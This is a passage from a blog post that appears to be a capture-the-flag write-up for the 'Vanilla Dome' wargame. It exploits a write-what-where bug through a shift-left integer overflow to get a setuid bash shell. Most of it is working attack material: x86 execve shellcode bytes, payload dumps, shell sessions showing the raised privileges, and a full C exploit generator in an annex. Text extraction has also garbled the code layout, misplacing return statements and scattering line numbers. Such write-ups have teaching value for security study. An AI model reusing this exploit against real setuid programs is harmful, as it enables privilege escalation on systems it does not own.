31 30 38 31 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1081aaaaaaaaaaaaaaa
2d 38 34 30 38 35 37 32 36 31 61 61 61 61 61 61 61 61 61 | -840857261aaaaaaaaa
31 30 38 32 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1082aaaaaaaaaaaaaaa
31 32 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 128aaaaaaaaaaaaaaaa
31 30 38 33 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1083aaaaaaaaaaaaaaa
31 33 34 35 31 33 39 32 33 61 61 61 61 61 61 61 61 61 61 | 134513923aaaaaaaaaa
2d 31 30 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -10aaaaaaaaaaaaaaaa
31 33 34 35 31 34 34 38 35 61 61 61 61 61 61 61 61 61 61 | 134514485aaaaaaaaaa
2d 31 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -15aaaaaaaaaaaaaaaa

On the challenge machine:


1
2
3
4
5
6
7
8
9
10

?
vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.2.txt
bash-4.1$ id
uid=1014(vanilla1) gid=1015(vanilla1) euid=1008(vanilla1crack) egid=1009(vanilla1crack) groups=1009(vanilla1crack),1015(vanilla1)
bash-4.1$ pwd
/tmp
bash-4.1$ cd
bash: cd: HOME not set
bash-4.1$ cd ~
bash-4.1$ pwd
/home/vanilla1

Just so you don't bang your header, use bash -p payload or you won't get the suid.
Pawn!
I wanted it to be a bit cleaner.
Trashing the env[], not cool.
Let's try bypassing that 0 restriction through arithmetic tricks.

Arithmetic trick

For the careful reader, you may have spotted some interesting line in insert()
code.
If not:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

Dump of assembler code for function insert:


0x08048534 <+0>: push ebp
0x08048535 <+1>: mov ebp,esp
0x08048537 <+3>: sub esp,0x28
0x0804853a <+6>: mov eax,DWORD PTR [ebp+0x8]
; eax = value2
0x0804853d <+9>: mov DWORD PTR [ebp-0x1c],eax
0x08048540 <+12>: mov eax,DWORD PTR [ebp+0xc]
; eax = value1
0x08048543 <+15>: mov DWORD PTR [ebp-0x20],eax
0x08048546 <+18>: mov eax,DWORD PTR [ebp+0x10]
; eax = buffer
0x08048549 <+21>: mov DWORD PTR [ebp-0x24],eax
0x0804854c <+24>: mov eax,gs:0x14
; stack cookie
0x08048552 <+30>: mov DWORD PTR [ebp-0xc],eax
0x08048555 <+33>: xor eax,eax
0x08048557 <+35>: mov eax,DWORD PTR [ebp-0x1c]
0x0804855a <+38>: shl eax,0x2
; value2 <<= 2;
0x0804855d <+41>: add eax,DWORD PTR [ebp-0x24]
; value2 += buffer;
0x08048560 <+44>: mov edx,DWORD PTR [ebp-0x20]
0x08048563 <+47>: mov DWORD PTR [eax],edx
; *value2 = value1;
; stack cookie check
0x08048565 <+49>: mov eax,DWORD PTR [ebp-0xc]
; stack cookie
0x08048568 <+52>: xor eax,DWORD PTR gs:0x14
0x0804856f <+59>: je
0x8048576 <insert+66>
0x08048571 <+61>: call 0x8048444 <__stack_chk_fail@plt>
0x08048576 <+66>: leave
0x08048577 <+67>: ret
End of assembler dump.

The interesting line is here:


0x0804855a <+38>: shl eax,0x2
; value2 <<= 2;
Our offset is multiplied by 4.
We can thus manage to overflow our offset so it becomes 0.
We want 0x1 0000 0000 so offset will be equal to 0x4000 0000.
That's how we get the zero!
Let's try:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

m101@m101-laptop:~/challenges/vanilla_dome$ ./exploit1 bash-p.bin payload.bin


sz_file = 33
rest = 1
n_elts = 9
6a 0b 58 99
| j.X.
52 66 68 2d
| Rfh70 89 e1 52
| p..R
6a 68 68 2f
| jhh/
62 61 73 68
| bash
2f 62 69 6e
| /bin
89 e3 52 51
| ..RQ
53 89 e1 cd
| S...
80 00 00 00
| ....
2d 31 37 32 32 32 38 33 31 35 38 61 61 61 61 61 61 61 61 | -1722283158aaaaaaaa
31 30 37 33 37 34 31 38 32 34 61 61 61 61 61 61 61 61 61 | 1073741824aaaaaaaaa
37 36 31 38 31 36 36 35 38 61 61 61 61 61 61 61 61 61 61 | 761816658aaaaaaaaaa
31 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1aaaaaaaaaaaaaaaaaa
31 33 39 30 35 31 32 34 39 36 61 61 61 61 61 61 61 61 61 | 1390512496aaaaaaaaa
32 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 2aaaaaaaaaaaaaaaaaa
37 39 35 33 37 31 36 32 36 61 61 61 61 61 61 61 61 61 61 | 795371626aaaaaaaaaa
33 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 3aaaaaaaaaaaaaaaaaa
31 37 35 32 33 39 32 30 33 34 61 61 61 61 61 61 61 61 61 | 1752392034aaaaaaaaa
34 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 4aaaaaaaaaaaaaaaaaa
31 38 35 32 34 30 30 31 37 35 61 61 61 61 61 61 61 61 61 | 1852400175aaaaaaaaa
35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 5aaaaaaaaaaaaaaaaaa
31 33 36 34 33 38 36 36 39 37 61 61 61 61 61 61 61 61 61 | 1364386697aaaaaaaaa
36 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 6aaaaaaaaaaaaaaaaaa
2d 38 34 30 38 35 37 32 36 31 61 61 61 61 61 61 61 61 61 | -840857261aaaaaaaaa
37 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 7aaaaaaaaaaaaaaaaaa
31 32 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 128aaaaaaaaaaaaaaaa
38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 8aaaaaaaaaaaaaaaaaa
31 33 34 35 31 34 35 33 35 61 61 61 61 61 61 61 61 61 61 | 134514535aaaaaaaaaa
2d 31 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -15aaaaaaaaaaaaaaaa

On the remote machine:


1
2
3
4
5
6
7
8
9
10

vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.3.txt


bash-4.1$ pwd
/tmp
bash-4.1$ cd
bash: cd: HOME not set
bash-4.1$ pwd
/tmp
bash-4.1$ cd ~
bash-4.1$ pwd
/home/vanilla1

Challenge completely owned :).

Conclusion

As you can see, with a bit of work, motivation and some vulnerability, you can
bypass protections.
ASLR was of no use here as we bypass it through offsets and pointers laying on
the stack.
RELRO didn't stop us as we can write on the stack with a write-what-where.
If NX were to be set, it wouldn't have stopped us either as we can still craft a
rop chain. The problem would more have to been about the number of available
gadgets.
That's all for today, hope you enjoyed it.
Cheers,
m_101

References:
- bash -p payload
- Vanilla Dome Wargame
- RELRO: RELocation Read-Only
- Reversing Linux : Comprendre le rle des sections PLT et GOT dans ldition de liens dynamique

Annex: The exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <stdint.h>
struct dpatch_t
{
char *value;
char *offset;
};
/*
8048767:
8048768:
8048769:

5b
5d
c3

pop
pop
ret

%ebx
%ebp

17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129

8048769:
*/

c3

ret

int get_fsize (FILE *fp);


int get_nelts (FILE *fp);
char *i2a (uint32_t value);
struct dpatch_t *fill_array (int off_buffer, struct dpatch_t *array, int n_elts, FILE *fp);
int dump (unsigned char *bytes, size_t nbytes, size_t align);
int main (int argc, char *argv[])
{
int n_elts;
int idx_array;
struct dpatch_t *array;
FILE *fp_in, *fp_out;
if (argc != 3) {
printf ("Usage: %s [input] [output]\n", argv[0]);
exit (1);
}
fp_in = fopen (argv[1], "r");
if (!fp_in)
return 1;
fp_out = fopen (argv[2], "w");
if (!fp_out)
return 1;
n_elts = get_nelts (fp_in);
// alloc array
array = calloc (n_elts + 200, sizeof(*array));
if (!array)
return 1;
// fill array with shellcode
fill_array (0, array, n_elts, fp_in);
// set trigger
array[n_elts].value = i2a (0x8048767);
array[n_elts].offset = i2a (-15);
// show debug
for (idx_array = 0; idx_array < n_elts + 2; idx_array++) {
if (array[idx_array].value && array[idx_array].value) {
dump (array[idx_array].value, strlen (array[idx_array].value), strlen (array[idx_array].value));
dump (array[idx_array].offset, strlen (array[idx_array].offset), strlen(array[idx_array].offset));
}
}
// create payload file
for (idx_array = 0; idx_array < n_elts + 2; idx_array++) {
if (array[idx_array].value && array[idx_array].value) {
fwrite (array[idx_array].value, 1, strlen(array[idx_array].value), fp_out);
fwrite (array[idx_array].offset, 1, strlen(array[idx_array].offset), fp_out);
}
}
fclose (fp_in);
fclose (fp_out);
}

return 0;

int get_fsize (FILE *fp)


{
int sz_file;
int old_offset;
old_offset = ftell (fp);
fseek (fp, 0, SEEK_END);
sz_file = ftell (fp);
fseek (fp, old_offset, SEEK_SET);
}

return sz_file;

int get_nelts (FILE *fp)


{
int sz_file;
int n_elts, rest;
// compute array n_elts
sz_file = get_fsize (fp);
rest = sz_file % 4;
n_elts = (sz_file - rest) / 4 + (rest > 0 ? 1 : 0);
printf ("sz_file = %d\n", sz_file);
printf ("rest = %d\n", rest);
printf ("n_elts = %d\n", n_elts);
}

return n_elts;

// integer to ascii
char *i2a (uint32_t value)
{
char *intstr;
int len_intstr;
intstr = calloc (21, sizeof(*intstr));
memset (intstr, 'a', 19);
snprintf (intstr, 19, "%d", value);
len_intstr = strlen (intstr);
if (intstr > 0)
intstr[len_intstr] = 'a';
}

return intstr;

struct dpatch_t *fill_array (int off_buffer, struct dpatch_t *array, int n_elts, FILE *fp)
{
// buffer

129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204

// buffer
char *buffer;
// loop
int idx_array, idx_buffer;
int sz_file;
int rest;
sz_file = get_fsize (fp);
rest = sz_file % 4;
// alloc buffer
buffer = calloc (sz_file + (rest != 0 ? 4 : 0), sizeof(*buffer));
if (!buffer)
return NULL;
// read
fseek (fp, 0, SEEK_SET);
fread (buffer, sz_file, 1, fp);
// fix off_buffer
off_buffer = off_buffer / 4;
// construct array
for (idx_array = 0, idx_buffer = 0; idx_array < n_elts; idx_array++, idx_buffer++) {
dump (((uint32_t *) buffer + idx_buffer), 4, 16);
array[idx_array].value = i2a (*((uint32_t *) buffer + idx_buffer));
if (idx_buffer == 0 && off_buffer == 0)
array[idx_array].offset = i2a (0x40000000);
else
array[idx_array].offset = i2a (idx_buffer + off_buffer);
}
free (buffer);
}

return array;

// dump
int dump (unsigned char *bytes, size_t nbytes, size_t align)
{
size_t idx_bytes, j, last;
int n_disp;
if (!bytes || !nbytes)
return -1;
// first part of line is hex
for (idx_bytes = 0, last = 0; idx_bytes < nbytes; idx_bytes++) {
printf ("%02x ", bytes[idx_bytes]);
// if we got to the alignment value or end of bytes
// we print the second part of the line
if ( (idx_bytes + 1) % align == 0 || idx_bytes == nbytes - 1 ) {
// we print spaces if we arrived at end of bytes
if (idx_bytes == nbytes - 1) {
// compute the number of spaces to show
n_disp = align - (nbytes % align);
n_disp = (nbytes % align) ? n_disp : 0;
for (j = 0; j < n_disp; j++)
printf(" ");
}
// separation
printf ("| ");
// second part of line is corresponding character
for (j = last; j < last + align && j < nbytes; j++) {
if (isprint(bytes[j]))
printf ("%c", bytes[j]);
else
putchar ('.');
}
putchar ('\n');
last = idx_bytes + 1;
}
}
}

return 0;

Publi par m_101 14:56


Ractions :

Aucun commentaire :
Enregistrer un commentaire
Saisissez votre commentaire

Commentaire : Slectionner le profil...

Publier

Aperu

Re c om m ande r c e c onte nu sur Google

Liens vers cet article


Crer un lien

Article plus rcent

Accueil

Article plus ancien

Inscription : Publier les commentaires ( Atom )

Gewerbeschein
beantragen
foerderprogramme-deutschland.de

Wir helfen und prfen Frdermittel,


kostenlos und unverbindlich.

Fourni par Blogger.

S-ar putea să vă placă și